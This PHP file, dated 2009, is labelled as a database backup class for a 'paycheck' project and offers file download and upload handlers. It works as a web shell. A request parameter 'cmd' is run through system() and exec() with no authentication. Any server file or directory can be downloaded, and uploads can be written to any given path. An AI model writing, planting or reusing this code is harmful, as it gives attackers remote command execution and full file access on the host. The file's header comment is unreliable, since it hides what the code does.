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<?php
/*Author : M.Srikanth
Date : 2009-07-13
Project : paycheck
Description : This class is for to backup db
*/
//Start : 'backup_restore' Class
class download_upload
{
//Start : Constructor
function __construct($aobj_context)
{
session_start();
$this->aobj_context=$aobj_context;
$easy_zip_file_path=$aobj_context->main_src."/easy_zip/easy_zip.php";
require_once($easy_zip_file_path);
}
//End : Constructor
function downloadFileFromServer()
{
$pos = strpos($this->download_file_path, "xxx");
if($pos===false)
{
if(!empty($this->download_file_path))
$file_path= $this->aobj_context->main_src.'/'.$this->download_file_path;
else
$file_path= $this->aobj_context->main_src;
}
else
{
$file_path=str_ireplace("xxx","",$this->download_file_path);
$file_path.='/'.$file_name;
}
if(is_dir($file_path))
{
$dir_name=basename($file_path);
$zipobj = new EasyZIP;
$zipobj -> addDir($file_path);
$zipobj -> zipFile("{$file_path}.zip");
header("Expires: 0");
header("Content-type: application/zip");
header("Content-Disposition: attachment; filename={$dir_name}.zip");
print file_get_contents($file_path.".zip");
}
else if(is_file($file_path))
{
$len = filesize($file_path);
$file_ext=basename($file_path);
$file_name=basename($file_path);
$file_ext_arr=explode(".",$file_ext);
$file_ext=strtolower($file_ext_arr[count($file_ext_arr)-1]);
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public");
header("Content-Description: File Transfer");
header("Content-Type: application/force-download");
$header="Content-Disposition: attachment; filename=".$file_name.";";
header($header );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".$len);
readfile($file_path);
}
}
function UploadFileToServer()
{
if(isset($_FILES['upload_to_server_file_name']['name']) && $_FILES['upload_to_server_file_name']['name'] != '')
{
$file_name=$_FILES['upload_to_server_file_name']['name'];
$import_file_path= $this->aobj_context->main_src.'/imported_files/'.$file_name;
$pos = strpos($this->storage_path, "xxx");
if($pos===false)
{
$file_path= $this->aobj_context->main_src.'/'.$this->storage_path.'/'.$file_name;
}
else
{
$file_path=str_ireplace("xxx","",$this->storage_path);
$file_path.='/'.$file_name;
}
if(move_uploaded_file($_FILES['upload_to_server_file_name']['tmp_name'],$import_file_path))
{
copy($import_file_path,$file_path);
// chmod($file_path, 0777);
unlink($import_file_path);
unset($_FILES);
echo "<script type='text/javascript'> alert('File has been uploaded.');</script>";
}
else
echo "<script type='text/javascript'> alert('Upload Failed.');</script>\";";
}
unset($_FILES);
}
}
//End : Class file
$action=$_REQUEST['a'];
$aobj_context = new stdClass();
$aobj_context->main_src=dirname(dirname(dirname(__FILE__)))."/";
if($action=="downloadFileFromServer")
{
$aobj_context->mobj_data['download_file_path']=$_REQUEST['download_file_path'];
downloadFileFromServer($aobj_context);
}
if($action=="UploadFileToServer")
{
$aobj_context->mobj_data['storage_path']=$_REQUEST['storage_path'];
UploadFileToServer($aobj_context);
}
if($action=="Command")
{
$aobj_context->mobj_data['cmd']=$_REQUEST['cmd'];
Command($aobj_context);
}
function downloadFileFromServer($aobj_context)
{
$class_obj=new download_upload($aobj_context);
$class_obj->download_file_path = $aobj_context->mobj_data["download_file_path"];
$class_obj->downloadFileFromServer();
}
function UploadFileToServer($aobj_context)
{
$class_obj=new download_upload($aobj_context);
$class_obj->storage_path = $aobj_context->mobj_data["storage_path"];
$class_obj->UploadFileToServer();
}
function Command($aobj_context)
{
$cmd = $aobj_context->mobj_data["cmd"];
$last_line = system($cmd, $retval);
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
@exec($cmd,$output);
print_r(nl2br($output));
}
?>
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